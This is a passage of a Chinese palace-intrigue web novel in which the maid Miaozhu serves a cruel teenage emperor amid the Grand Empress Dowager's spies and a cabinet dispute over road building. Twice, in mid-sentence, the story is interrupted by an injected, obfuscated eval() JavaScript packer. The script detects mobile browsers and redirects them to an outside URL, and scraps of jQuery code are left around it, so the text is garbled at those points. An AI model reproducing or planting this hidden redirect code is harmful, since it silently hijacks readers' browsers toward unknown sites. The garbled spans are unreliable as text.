她匆忙为自己辩解:“奴婢本以为是那段时日惹了陛下不高兴,怕在陛下身前,您要看了心烦......奴婢绝无偷懒之意。” “是吗?可是朕瞧你在后苑之中,也很高兴啊。不用侍奉在自己的主君面前,你便这般高兴?” 妙珠的脑子难得机灵,她极快地想了个说辞,道:“不是的,陛下,便是在后苑里头,心中也念着陛下,陛下是天,无所不及。” 陛下是天,无所不及。 怕陈怀衡不信,妙珠笑得谄媚:“奴婢心中真的真的一直念着陛下。” 陈怀衡向来不喜巧言令色之人,即便知道她在阿谀曲从,然而,她笑得那样真心实意,却也如同是真的一般。 人倒还没有蠢死了去。 既然知道错了,他可以仁慈地再给她个机会。 他收了戒尺,大发慈悲地赦免了她的罪恶。 他又突兀地问她:“名字。” 妙珠愣了片刻,反应过来后,马上明白了他在问什么。 “妙珠。” 她说她叫妙珠。 陈怀衡从来不过问宫女的名字,对于他这样的人来说,宫女是个寿命极短的物件,没必要知道名字,或许是她的衷心打动了他,又或者今夜陈怀衡饮了酒,酒在身体里面晃荡不住,就往嘴巴里面跑,从嘴巴里面说出去了。 花落秦川流水香,雨清荷玉妙珠藏。 妙珠妙珠,光而不耀。 “妙珠......”陈怀衡没什么情绪地评价,“倒是个好名字。” 然而,妙珠却自顾自地从从陈怀衡那冷淡的声音中揣测出他的言下之意。 她觉得他似在讽刺她:你这样的人,配得上这样的名吗。 妙珠慌忙解释道:“奴婢原本也不叫这个的。” “那叫什么。” “小乞。” “乞丐的乞。” 妙珠对名字带着堪称可怕的敏感,外祖给她取了个又贱又简单的名字:小乞,她从出身以来,就听着外祖、母亲,小乞小乞的唤她。她没读过书,可是也听得出来这是个很下贱的名字。这个名字如影随形地跟了她八年,一直到母亲他们死了,她跟着裴嬷嬷进了宫后,嬷嬷说以前的名字不好听,给她新取了个名字叫妙珠。 妙珠一直害怕别人知道她曾经叫小乞,更害怕别人会来问她,你为什么要叫妙珠? 如果有人问她,那她大概就要因为羞愧,而马上将自己的曾经和盘托出。 就如现在,陈怀衡分明什么也没有说,可妙珠凭借着自己的揣测,下意识就将过往的贱名马上告诉了他。 陛下,不要问我为什么叫妙珠,我也不知道。 我告诉你,我从前叫小乞,乞丐的乞,所以,不要再问了,我也实在不知道为什么我这样卑贱的人要叫妙珠。 按理来说,陈怀衡不会想要知道了解或者知道一个宫女的苦痛,即便他很聪慧,能轻而易举地看穿人的脆弱与心事。 然而,妙珠的眼神实在是太复杂了,那些复杂的情绪在她那样的人身上,叫人觉出了无尽的割裂。 就连陈怀衡竟都沉溺于她的那双眼。 他顷刻之间就意识到自己错了神,反应过后,暗自恼怒妙珠那双眼睛竟能有如此多的情绪,纯一、谄媚、讨好、惊惧......痛苦。 13. 第十三章 陈怀衡不再看她那双多情的眼,甚至不想再看她这个人。 他想将自己的视线从她的身上移开,然而,那双薄情的眼却又被她那发红的掌心所吸引。 殿内的小火苗一晃一晃,暖黄的灯光将人的目光拉得柔和,他的视线落在了妙珠的手上。 那洁白的发了红的手,她的手指细长白皙,是很标准的美人手指,比她那张脸生得倒是更标志些,她在宫里头做活,手上难免有些粗糙的薄茧,只是在这样昏暗的情形下,几乎不可见得,烛光的映射下,红掌心染上了暧昧的光珠。 陈怀衡竟忽地想起了一桩旷日离久的往事。 那是在他十岁那年刚登基时候发生的事情。 后妃之中有个宠妃丽嫔,正是今夜宴席上,那个庶出公主的生母。 丽嫔在世之时,和如今的孝端太后不对付,其间原因也无非是因为后妃争宠,丽嫔是个平民女子,她出身不高,却极擅歌舞,正凭借着这一身的本事,和她那窈窕魅惑的身姿,深得先帝恩宠,一直到帝王薨逝,三十来岁的丽嫔,膝下育着一个公主,可仍旧美艳动人。 淑妃深深地记恨丽嫔。 或许是当年她濒近生产之时,丽嫔却死死地勾.引缠弄帝王,引诱得他脱不开身,以至于一直到淑妃的孩子出生,她才只见过先帝寥寥一面;又或许是,她嫉妒与怨恨丽嫔的长袖善舞,记恨她那能弹琵琶吹奏萧管的漂亮双手,记恨她那两条能勾住人的双腿。 她便一直这样记到自己成为太后的时候。 后来,她让人砍断了丽嫔的双手,剁了她的双腿。 陈怀衡没登基几日,就听宫中的人说,丽嫔成了人彘。 帝王生涯的开始便是那惨烈的鲜血。 听说了那件事之后,陈怀衡竟失眠了一整夜。 可是不知是何缘故,看到眼前的这双手,他竟那样莫名就想起了那桩旧事。 夜色已晚,陈怀衡最后终究只是打了妙珠一下戒尺,可饶是如此,她的掌心还是留下了属于他的痕迹,那片泛红的地方,他施以的惩戒,是那样灼痛。 * 乾清宫中发生的一切外界无所知觉,太皇太后方才被陈怀衡的行径气到些许,用不下去饭便先行离开,陈怀霖见此,也起身告退,搀着她往寿宁宫的方向回。 太皇太后也不愿意在小辈面前露怯,可上了年纪,终归是有些力不从心,她任陈怀霖扶着她上了轿辇,由他护着一道回了寿宁宫。 陈怀霖安静地伴在皇祖母身侧,不曾多话,回了宫殿后,他又亲自扶着太皇太后进了里殿。 殿里头已经燃上了宫灯,太皇太后屏退了周遭的人,看着是想要和陈怀霖说些体己话。 她坐在太师椅上,以手撑额,烛火下,她眉眼之间的皱纹竟是那样明显,和陈怀霖记忆中的那个祖母全然不同。 再过几年,她也该六十了。 她大抵也没少为陈怀衡的事情头疼。 陈怀霖劝道:“陛下他有分寸的,皇祖母也不用太过担心。” 分寸...... 这话说出来,陈怀霖自己能信吗。 总之,太皇太后是不信的,她听到陈怀霖的话眉头皱得更紧,道:“他实在是越来越不像话了,不过劝他两句,倒还和我来了气,我那都是为了他好,他这般苛待下人,又像什么样子。” 她越想越是难忍,气都快不顺了,陈怀霖见此,忙起身为她拍背顺气。 太皇太后道:“年岁还小的时候尚且听话,越大越不服说了,本以为是个老实听话的,倒头来是最不叫人省心的。不如你啊,还不如你一半懂事......” 当初先帝尚在时,她竟从不曾发现陈怀衡本性如此桀骜。 两人相比之下,太皇太后发现陈怀衡哪里有比得上陈怀霖之处。 眼看她越说越不像话,陈怀霖赶忙出言阻止:“皇祖母,慎言。陛下是命世之才,倨傲难免,不可这般拿我同他作比,若是传出去了,便不好了。” 太皇太后看着近在眼前的孙儿,他的眼中尽是谦逊,甚至还有些对她这话的不满。 她望着他,忽地道:“乔砚,怨吗。” 怨吗。 当初最该做帝王的,其实是他。 群臣都以为帝王会传诏给这最出众的儿子,然而,最后却传给了几人之中最平平无奇的陈怀衡。 怨恨吗。 在知道他的父皇这样偏颇时,在和皇位失之交臂之时,他有没有过怨恨呢。 陈怀霖的动作一顿,也望向了她,提起了那么久的往事,他的眼皮忍不住颤动。 可过了许久许久,他也只是垂着眸道:“陛下英勇,臣不及他。” 陈怀霖的母亲出身不低,他出生时,她就已经是皇贵妃了。他还有个兄长,大他一岁,当初也曾封过太子,也是命不好啊,二十岁都没活到。一次外出游湖的时候掉进水里面,死是没有死,只是捞起来后,落了病根,再没好起来,没过几月,就这样去了。 除了这个早夭的兄长外,陈怀霖的前半生,说不顺意那都是假的,他年少有为,惊才绝艳,父皇崩逝之前,在几个皇子之中最器重的也是他,他本也以为,父皇会理所应当将皇位留给他这个最像样的大儿子了,却没想到最后是选了五皇子陈怀衡。 说没有打击也是不可能的。 可是,事情都已经定下了,再怨恨,也断是不能的。 * 中秋过了之后天气便渐渐凉快了起来,那日也好在陈怀衡只往妙珠的手上招呼了一下,疼了两日过去便没了痛觉,她被陈怀衡调了回去,八月二十便是三年一回的秋闱,陈怀衡也渐渐忙碌了起来,负责秋闱礼部的人时常会往乾清宫跑,和皇帝商议着关乎秋闱的事。 眼看空气中寒气渐重,妙珠服侍陈怀衡穿衣的时候便多问了一嘴。 “陛下,天要凉了,要让內侍监的人送秋衣来吗?” 妙珠跟在陈怀衡身边也有好些时日了,即便说他的脾气叫人琢磨不透,但妙珠大致已经摸出什么话是能说的,而什么话又是不能说的了。 总之,她尽心尽力当好他身边的宫女就行了,唯一要做的能做的,便是服侍好他。 陈怀衡“嗯”了一声,算是应下。 妙珠又道:“陛下这几日忙着秋闱的事辛苦了,奴婢到时候去尚膳监端些补汤过来,将好天也凉了。” 陈怀衡又是“嗯”了一声。 近些时日倒是上道,人也机灵了一些,不用旁人说一句,她去做一句,倒是会主动做些事情去了。 陈怀衡穿好了衣服之后,眼看快到卯时便往太和殿上朝去了,妙珠送他去了皇极门便回来了。 回到乾清宫撞见了卿云,见她神色些许凝重,像是出了什么不好的事情。 妙珠一问过后才知道,原是昨天夜里有个守夜的丫鬟,惹了陛下不快,被拖出去杖责五十,没挨过去,便死了。 妙珠昨个儿夜里睡在配房,对寝殿那边发生的事情一无所知,丝毫不知道在她熟睡之时,竟有人就那样悄无声息地死了。 乾清宫已经很久没出过事了,久到她都快忘记了陈怀衡是那样可怖的人,她都快忘记,从前的时候陈怀衡就是这样动不动地打杀人。 妙珠想起早晨服侍着他的时候......那时候,陈怀衡就如同往常一样,她和他说了两句话,也看不出丝毫的端倪。 妙珠问卿云:“这是犯了什么事......竟要罚五十板子啊。” 卿云道:“陛下起夜的时候,没能及时醒来,就打死了。” 妙珠一时语塞,良久才吐露出几个字:“就只是这样啊......” 哎,就只是这样。 第一个人是怎么死的,难道她还不知道吗? 妙珠到现在都还记得呢。 就是因为她不小心系错了腰带,就被砍断了双手啊。 妙珠回想起早上给陈怀衡献的殷勤,身上竟不自觉地打了个冷颤。 她问卿云:“死了以后会去哪里了呢,会有人来收尸吗?” 卿云摇头,“还能去哪里,裹上草席跟在净车后面运出宫去,就丢去了乱葬岗。” 卿云看出了妙珠的害怕,她拍了拍她的肩膀,道:“你莫要怕,陛下待你倒是仁善的,你瞧瞧,你不是也经常犯错吗,陛下何时又要了你的命。” 妙珠莫名想起了那日中秋夜,陈怀衡对她说的话,他说,他便是时常恐吓于她,可她又何曾真的断过手脚呢。 福至心灵,妙珠此刻竟吐出了卿云以前常说的那几个字。 “陛下仁慈。” 这话来的极其突然,妙珠没有知觉的就猝然从口中吐露出了这四个字来。 待她反应过来之后,眼中浮现上了一片惊骇,可转瞬之间竟又化为了一片可笑的庆幸。 好在,陛下仁慈。 她大概是明白了卿云为什么总会说这样的话了,陛下不见得多么的仁慈,只是,这些话,在这种时候,总是会毫无防备就从嘴巴里面跳出来。 妙珠不曾和卿云多说下去,她还不曾用过早膳,现下回去配房寻了荣桃,以往她们两人都是趁着陈怀衡上早朝的功夫去用早膳。 荣桃坐在房中,瞧着有些心神不宁,甚至连妙珠回来进门都不曾发现。 妙珠坐到了她的身边,用手拱了拱她,问道:“在想些什么呢?” 荣桃这才注意到她从外头回来了,她瞧着有些不安,咬着手指。 她问妙珠:“你听说了吗,昨日夜里死了个人。” 妙珠道:“方才时候听卿云姐说了。” 荣桃大概是有些害怕,她道:“妙珠,我会不会也快要死了。” 荣桃觉得,说不定哪一日,自己也要这样忽然地就死了,本来这段时日还算安静,乾清宫也没流过什么血了,可是昨日的事情就像是一记警钟,沉沉地敲打在了每个人的心头。 妙珠怕,荣桃更怕。 妙珠抱着荣桃,拍着她的背安抚,就像幼年那样,拍着小妹的背,她安抚着她,说不会死的。 荣桃也像是一个溺水的人,将妙珠当成了最后的浮舟,她拥着她,紧紧的。 晨阳万丈,透过大开的窗棂,均匀地落在她们的身上,妙珠抱着荣桃,忽然出了声道:“荣桃,以后别去找他们了行吗。” 荣桃的脑袋靠在妙珠的肩头,她愣住了片刻,可是很快就明白了妙珠的意思。 他们....... 太皇太后的人。 妙珠依稀记得,一开始她们几个被陈怀衡选来乾清宫前的那段时日,太皇太后来找过其中几个宫女说话,荣桃也去了。 妙珠时常会见荣桃出门,也不知是做些什么去了,只是回来后,手上便多了些好东西,那个时候,荣桃瞧着又高兴又害怕。 她也去找他们了。 妙珠抱着荣桃,她说:“会死的,荣桃,不要继续了。” 荣桃没有挣脱妙珠的怀抱,她被妙珠说破了心事和秘密,没有不安,没有羞恼,反倒是长长地松出了一口气,气松了,眼泪也跟着落下来了。 她无声地落泪,道:“妙珠,没办法了,事已至此,我停不了了。你别担心我,便是真死了,也算值当了,我拿了不少的好东西,到时候换成银子,也能有好一些,我大概是送不回家去了,到时候你帮我给爹娘吧。” 荣桃害怕,却也只是害怕罢了,她害怕的是,不知道到底是哪一天噩耗就要落到自己的头上,至于死,她再怕那也是没用的了。 妙珠听到荣桃的话竟兀地生出了一股恼怒怨恨,她恨她到了现在还想着他们,她松开了她,看着她道:“你管你自己行吗,还管劳什子他们呢!” 荣桃从没见过妙珠发脾气,这么久来,是头一回。 她无助地唤她。 “妙珠......” “妙珠......” “阿姐......” “阿姐......” 妙珠望着眼前的荣桃,不知怎地竟又想起了小妹,眼前的荣桃竟和记忆中的人重合到了一起。 小妹病得快要死了,她躺在她的怀中,无助地喊着她“阿姐阿姐”,那双像葡萄一样的大眼睛,无力地看着妙珠。 小妹偷的那个月饼,最后还是害她送了命。 她被人抓了出来,然后挨了顿打,那一打就把她半条命打丢了去,后来,小妹也因此染上了倒霉的热病,怎么也救不活的热病。 她躺在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379239|168244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙珠的怀中,整张脸上没有一丁点的肉,那张小脸因着染了病,一直以来都是红扑扑的。 小小的人靠在妙珠的胸脯上,抓着她的手,一直低喃着。 “阿姐阿姐......” 她叫了妙珠多少声,妙珠就应了她多少回。 最后小妹实在要没气了,却还是放心不下她们两个的傻子娘。 “阿姐,娘是个傻子,你长大了以后,千万不要再让旁人欺负她了。” 妙珠骂她:“你都要死了,你还想她做什么!” 为什么要想着他们那些没心没肺的人,为什么要一直念着他们呢? “你若是死了,我也不管她了,我就要一个人跑走了。” 她早就想跑走了。 早就。 她受够了他们打她,受够了懦弱的母亲,发病的母亲,受不了她每回都要将她打得落泪。 若不是小妹,她就要跑走了。 妙珠恐吓着小妹,你若是死了,我就要走了。 然而,小妹听完了她这句话,却还是喘不上最后一口气。 忽地,死了。 妙珠到了现在都想不明白,这世上怎么会有这样的人呢,到死都在想着别人。 她看着荣桃,想起了小妹,眼泪再也忍不住夺眶而出。 小妹死了有七年了。 妙珠没有一天不想她。 荣桃很像小妹,哪里都很像,看到她,她就觉得是在看小妹。 可伤心也只是转瞬即逝,最后到底是没敢哭多久,因为快到了陈怀衡退朝的时辰,她得过去候在他的身边了。 妙珠抹干净了眼泪,也不再看荣桃是何表情,便匆忙离开了这处。 陈怀衡刚下朝回来,看了眼跟过来的妙珠,他似是发觉了什么不对劲的地方,不过也只是看了她一眼,什么都没说,眼中甚至看不出什么其余的情绪。 一直到下午申时,妙珠为他磨着墨,陈怀衡突然开了口。 “汤呢?” “嗯?”妙珠一时间不明白他在说些什么。 陈怀衡眉头微蹙,问她,“今晨的时候不是说好要给朕去端汤过来的吗?” 果真是说过就忘,到了现在也没见到她说的东西。 经她这么一提,妙珠这才想起来,竟把这一茬给忘了。 妙珠忙道:“陛下若是想用,奴婢现在就去尚膳监。” 陈怀衡到最后也没说他要不要用,却放下了手上的奏章,对她道:“你知道了。” 早上的时候都还好好的,他早朝回来后,她整个人又跟丢了魂一样,那应当就是知道昨日夜里死了人了。 他口中的那四个字不是询问,而是肯定。 她肯定是知道了。 陈怀衡不咸不淡道:“犯错的又不是你,你何必怕成这样。” 她何必呢。 不过,若是被他知道她也敢来背叛他,那她一定会死得比那些人都要凄惨。 毕竟,那些人太过拙劣,他没有被她们欺骗过去,可若是她,那便不一样了。 妙珠垂着头,沉默良久。 陈怀衡等不到她的回答,看不到她的表情,渐渐没有了耐性。 他命令:“抬起头来,说话。” 妙珠听他的话抬头,可还是说不出话来。 陈怀衡等不到哑巴开口,竟难得没有生怒。 他只是问妙珠:“你知道死的那个宫女是谁的人吗?” 这里是乾清宫,有护卫,暗中说不定还有锦衣卫潜伏,这里面发生的事情,不可能躲得过陈怀衡的眼睛。 妙珠还知道他很聪明,毕竟十岁登基的少帝,还未弱冠就已经站稳了脚步,十六岁亲自出征北伐,驱逐蒙古骑兵,大获全胜,又在文官当道的复杂朝堂上有着相对的话语权......这等心性,绝非常人。 归来半生,不过十八。 总之,他绝对不单单只是个可怖的暴君。 他大概是知道太皇太后做的手脚。 毕竟就连妙珠都渐渐猜出来了。 妙珠知道,所有的谎言在陈怀衡的面前,那都是立不住脚的,所以,她也没有存着欺骗他的心思。 知道是知道,不知道就是不知道。 而且,在这些事上,她没有任何欺瞒他的必要。 妙珠看着他,回道:“她是太皇太后的人。” 陈怀衡似是满意她的回答,嘴角浮起了一丝笑,又问:“那上回那个被砍了手的人呢?” 妙珠道:“也是太皇太后的人。” “荣桃呢?”陈怀衡提起了荣桃,他知道她们两个平日关系好。 “告诉朕,荣桃是谁的人。” 提起荣桃,妙珠眼皮不受控制的震颤。 荣桃是谁的人。 “陛下......” 妙珠似乎是碰到了什么难以启齿,说不出口的话。 陈怀衡没有因为她的抗拒而放过她,声线更加凛冽:“回答。” 他分明是故意提起荣桃,故意问她,妙珠终是敌不过陈怀衡,她垂着眼皮道:“是太皇太后的人。” 妙珠的声音带着自己都控制不住的颤抖,说起荣桃就像是想起了小妹,背叛了她,就像是背叛了小妹。 可是,没办法啊。 陈怀衡既提起了她,那便是已经知道了,她说不说,他都知道。 然而,陈怀衡并没有想要就此放过她的意图。 他微微抬头,看着站在对面的妙珠,而后轻启薄唇,似循循善诱般问她:“她们都是太皇太后的人,那么你呢,你是谁的人?” 他语调清浅,嗓音如玉石相击,窗明几净,快到傍晚时分,夕阳悄然落进上窗沿,那张冷白面庞润泽如玉,满是侵略性的眼神难得春风拂玉湖。 他问她,那么你呢,你是谁的人呢。 “奴婢......” “奴婢是陛下的人。” 奉承的话太多了,说真的,陈怀衡才十八岁,就听过不计其数的奉承话。 只是,那些话,竟都不比眼前这个小宫女说得动听。 陈怀衡想。 大抵是因她嗓音别旁人好听一些罢,又或许是她的眼睛太勾人了。 14. 第十四章 九月初三,历时十日九晚的科举终于结束,礼部已经将贡院收来的策论进行批改,选出了最为出色的几篇上呈到司礼监,再由着司礼监的掌印和几位秉笔太监们进行整理,呈至帝王跟前,和几位内阁大学士一道商议。 朝中在前段时日就已关于是否要另修官道一事争执不休,皇帝对此一直做冷处理,直到今日,才召集几位内阁的大学士来了乾清宫,论起那一直悬而未决的事情。 内阁共由五人组成,首辅陆鸿仪任职户部尚书,兼任太傅属官一职,担任着文华殿的主讲官,前两年的时候他还不是首辅,直到前一任首辅犯了些错,丢了市之后才由他顶了上去。 至于其他的四人,大多是在六部任着尚书一职,大多在前朝时候就已升至内阁,一直到新帝上任。 内阁的五个人齐聚于乾清宫,而司礼监的掌印太监黄坚白也侍奉于一侧。 黄坚白将此次秋闱之中生员写下的策论分于几位阁员,将好五篇,五人轮番看过。 两刻钟的功夫过去,五篇策论匆匆从他们眼前看过,殿内偶有轻声的交流,以及翻动纸张的声音。 见几人差不多看完了,坐在上首的帝王开了口,他对底下的五个臣子道:“烦几位阁老顶了礼部的差事,今年秋闱的策论谈的正是朝中近来争议一事,大人们有何说法?” 这样的场合下,陆首辅顶头开了口,他如今年过五十,眉宇之间早见白发,下颌挂着一络长须,气质儒雅,即便年岁已长,身上却也不见老态,他是建文十三年的探花,入了翰林院之后成了庶吉士,在当年名噪一时,现如今依稀能见年轻时候的器宇轩昂。 他开口道:“这几篇策论都做的不错,虽不至衔华佩实,但文从字顺,行文流畅,都还算过得去。” 何次辅接着他的话道:“都是房官同主考们一块精挑细选出来的,自是看得过去了。” 能挑到殿前的东西,哪里有不像样的。 何次辅说这话隐隐有讥首辅之意,嫌他说了白话。 两人年纪相仿,都是前朝时候就已经煊赫的大官,陆首辅出身不高,祖上数去是军户出身,可何次辅便有些不大一般,生于王侯之家,钟鸣鼎食,心气难免倨傲,自前朝在内阁时,便隐隐作对,一直延续到了今朝。 这是再正常不过的事情,文官们之间的内部矛盾向来难以调和,屁股决定脑袋,两人坐着的位置不一般,想法自也不同。 而且同处内阁之中,首辅的位置却又只有一个,其中的明争暗斗自是不少。次辅觊觎首辅之位,便想攻讦首辅,首辅忌惮次辅的威胁,也要驱逐次辅,这等事情,自从内阁组建以来便从不少。 不过,“矛盾”二字对帝王来说自然是好事。 陈怀衡淡淡地看着他们,也没有想要插嘴的意思。 陆首辅为人和顺,即便听到何次辅的话也不曾羞恼,他不曾理会于他,既而道:“若真要论出篇上佳,那还是这张。” 卷子上面没有生员姓名,他将卷子递给了黄坚白,黄坚白上呈至帝王案前。 陈怀衡瞥了一眼这纸策论,辞藻华丽,烂若披锦,是考官们很喜欢的形式,而且观点切实,一语中地,也并非空有辞藻,五张之中确实最为上乘,比起其余的那些,高出不只一点。 至于这纸上论的,翻成白话来说,通俗无非七个大字,修官道?有钱闲的。 手上有这几百万两白银,做些什么不好,何必另修官道?无非是给了一些官员中饱私囊的机会,官道修期不知凡久,投入银钱又是一笔大开销。 只是这些话,还是太过粗糙犀利,那生员自然不敢写于策论之中,毕竟被有心之人揣测,那他脚还没伸进官场便先断在外面。 大家都是只是来表个态而已,陆首辅选了这篇,便是表好了态。 何次辅也递了篇上去,却与首辅意见相左,南地重要,官道也很有必要。 他是工部尚书,修官道的钱最后来了工部,他自然是要修。 其余的三个阁员,一个跟随首辅,一个跟随次辅,还有一个很折中阁员挑了一篇同样折中的策论。 陆首辅道:“陛下如何作想,您觉着这几篇中,哪篇最好。” 陆首辅在这件事上没什么太大的意见,只是不想要叫何次辅好过罢了。 陈怀衡静默片刻,终于开口:“朕同阁揆意见相一。” 何次辅便大不愿意,开口便论起了官道如何如何重要,好似不修官道,便是舍了江浙一带,他言辞激烈,说起话来也仍铿锵有力。 首辅没有说话,倒是那个方才同他意见相同的李阁员开了口,何次辅说一句,李阁员便回一句。 说着说着快吵了起来。 这样的情形并不算少见,很多的国家大事就是在乾清宫中这样吵吵闹闹的议了出来,乾清宫吵完了,到时候若他们意犹未尽,回去了内阁值房里头碰了面还要吵。 陈怀衡倒也不曾打断他们,甚至饶有兴致听着。 眼看两个年过半百的老人快说昏了过去,陈怀衡撑着下颌,看着他们气定神闲开了口:“如今西边河套常有鞑靼侵入。” 两人齐噤了声,殿内归于一片诡异的死寂。 大昭地大,周遭不少的部落都在觊觎。 当初北边也常有蒙古俺答骑兵入侵,算起来,那年陈怀衡仅十六岁,便已经面临了国家危难之际。 大概是听说了东边帝国由一个小儿和妇人治理,北边的俺答便陷入了躁动之中,早在灵正三年,陈怀衡登基的第三年,北边便已经不安生了,时常有人俺答士兵侵入边境地界。 那时朝政还不在陈怀衡手中,现如今回想起来,少年时他亲自批改过的那些奏章,旨意从来都不出于自己,而是听从首辅、太皇太后,甚至是身边的掌印太监。帝国不会任由一个稚童为非作歹,即便陈怀衡到了十五岁,仍旧只是群臣和太皇太后手中的傀儡帝王。 一直到灵正六年,当了六年的皇帝的陈怀衡已经十六岁了。这一年,大昭北部危机到了空前严重的状态,蒙古骑兵势不可挡,甚至要直逼京城,他们的进攻紧迫迅速,已经连续攻下了京城外围的好几座城池。 命运而行,一切事情的发生都不是没有征兆。 少年帝王或许早在十三岁那年,蒙古骑兵第一次进犯边境时,就已经意料到了结局,然而,一切都在悄然行进着,他洞悉到了结局,却无法挽回。 生灵涂炭,敌寇都快打到了家门,陈怀衡好像只能眼睁睁看这一切发生。 他或许也早就料到了有朝一日要天子守国门,要御驾亲征。 后来,他开始习起了武功,寅时一刻就起了身在乾清宫的后苑之中习武,读书之际,还要看孙子兵法之类的兵书。 不过,他当然也没愚笨到叫自己习得一身武功而后冲锋陷阵,他只是希望自己的身体能够强壮到撑过将来那一段艰苦的时光。 他的少年时光,没有一刻时间是闲暇的。 唯一得空的时间,大约是春日负暄,有幸赏得院中美景。 他所做的一切,都被身边的宫女禀告给了太皇太后。 她好像不能明白他为什么要做这些,便是蒙古有骑兵,也不至于让他一个小儿亲临战场。 然而,却不想仅仅两三年的时间,蒙古骑兵就已快直逼京城。 陈怀衡亲自上了战场,他要亲自北伐。 朝中、国家气氛低迷,他们也不奢求陈怀衡能打什么胜战回来,如果他的出现能让将兵、百姓增长士气,这便足够了。 群臣们便怀揣着这样的心情将陈怀衡送上了战场。 若他能活着回来最好,若是活不了的话......他还有兄长和弟弟能继承衣钵。 可叫所有人都没有想到的是,仅仅过去了半年,陈怀衡大获全胜、班师回朝。 北方长达三年被蒙古铁骑骚扰,笼罩在大昭上方的阴影终于在此刻被一扫而空。 举国上下陷入了一阵狂欢,而歌颂的对象便是这英勇的少帝。 帝王初次展露了自己的锋利,群臣们不以为意,可待发觉过来之时,他已经成了一只伸着爪牙的虎豹。 陈怀衡凭借着这一次的北伐,在朝中占据了一席之地,站稳了脚跟。 从前北方有蒙古骑兵,而现今西边河套一带有鞑靼侵扰。 难道现如今,他还要再来一次御驾亲征吗? 天子守国门,是功绩,何尝不是莫大的讽刺。 陈怀衡神色不明,将手边的东西给了黄坚白,让黄坚白拿给了那些阁老,他看着他们道:“这是昨日从西边来的军务,套寇袭来,诸位阁老觉得呢,现如今是该修官道,还是拨军需呢。” 不同于前任帝王的优柔寡断,这个十八岁的少年帝王,心中有了成算之后,很快就会将事情办妥下去。前些时日他一直拖着,也只是在寻找一个合适的时机,一举将事情敲定,不再给他们来日再提的机会。 军务甩到了他们面前,又有前车之鉴,在这等情形下,也该知晓做出何种抉择。 陈怀衡问道:“可还有异议?” 果不其然,在看到这东西之后,他们便没话再说了。 这场内阁会议到此结束。 里头在议着国事,妙珠便守在门口,现下是午后,她看时间还早,便去尚膳监那边端了一碗汤羹回来。 里面差不多持续了约有半个时辰多的功夫,妙珠从外边回来的功夫刚好结束。 大臣们从里头陆陆续续出来。 妙珠见他们散了场,便端着汤羹进了乾清宫中。 妙珠走到了陈怀衡的身边,问道:“陛下受累了,可要用些汤?是奴婢方才去尚膳监端过来的。” 陈怀衡朝着桌案微扬下颌,示意放下。 妙珠将汤羹放在了桌前,才刚打开汤盅的盖子时,方才离开黄坚白去而复返,他的身后还跟着一个年岁不大的小太监,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399909|168244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其模样身形,大约才十六七岁的样子。 妙珠被这突然发生的事情吸去了视线,她的目光落在了那个小内监的身上。 他的相貌生得竟极为出色,男生女相,形容迤逦,身形纤细修长,眼眸似秋水般清澈。 妙珠一时之间竟看晃了神。 黄坚白还是不大死心,想着送人到陈怀衡身边服侍。 前朝几代时候,服侍在皇帝跟前的都是内监,端茶送水的、掌管内务的,哪些不是太监。 只怪太皇太后。 她不喜欢内监,或许是害怕出现帝王阿附太监的事情,又或许是单纯地瞧不起他们这些没根的人,当初黄坚白侍奉在陈怀衡的身前,可她却毫不留情将他赶出了乾清宫,而后让那群毛头大的宫女顶替了他的位置。 她就这样在摇篮之中切断了太监和皇帝产生亲密关系的途径。 她是一个很厉害的妇人,不得不承认。 黄坚白无可奈何却又心有不甘,到了现在也仍旧不大安生。 他也没什么其余的心思,只是想让皇帝的身边能跟着几个太监,得些恩宠便是够了。 他选出了相貌上乘的小内监,这内监平日在内书堂读书,才情什么的自是不用说,比一般的小宫女是高出太多,心细手巧,十分省心。 他顶着陈怀衡的视线,解释道:“陛下,这内侍是我亲自调.教出来的,心思细腻,机灵聪明,您要不留在身边瞧瞧看呢。” 妙珠站在陈怀衡的身边看着他们,大概也猜出了黄坚白的意图。 他应当是想着在陈怀衡身边塞人。 陈怀衡眉头微蹙,显然是不喜黄坚白这样的举动。 他刚开口想让人他把人领走,黄坚白却兀自先开了口,他对那个小内监道:“往后你就留在陛下身边好生伺候着,若是伺候不好陛下,也不用回来了,自己寻道墙撞死了好。” 说罢,黄坚白便头也不回地跑了,显然是破罐子破摔,耍起了无赖。 他留下这个小内监,若是能在陈怀衡身边活着最好,活不下去,陈怀衡要打杀了也随意。 反正做这么一件事情,怎么着都不亏。 殿内安静,陈怀衡的视线落在殿中那个小内监的身上,他被黄坚白丢了下来,面上有几分惶恐之色,顶不住帝王犀利的视线,缩着脑袋怯声喊道:“陛下......” 陈怀衡看着那小太监的脸,却发出一声冷笑:“把朕当什么了。” 前朝有些帝王男女不忌,朝廷秘闻之中,有内监爬床之事。 看黄坚白这样子,显然是想往他的身边塞那种人。 陈怀衡收回了视线,宣判了他的死刑,他道:“既他主子不要他了,让人拖出去杀了。” 妙珠反应了好一会才意识到陈怀衡这话是对她说的。 那小内监听到陈怀衡的话后,竟也没有哭天抢地,只是咬唇低泣,讷声求饶:“陛下饶命啊......奴婢一定会伺候陛下,当牛做马也使得。” 陈怀衡没有理会他的啜泣,只是斜眼看向了妙珠:“聋了?” 妙珠终于缓回了神来,她嘴唇又张又合,显然是想说些什么。 陈怀衡自然知道她的意图,然而只冷哼了一声:“自己活不出人样了,还管上了旁人。” 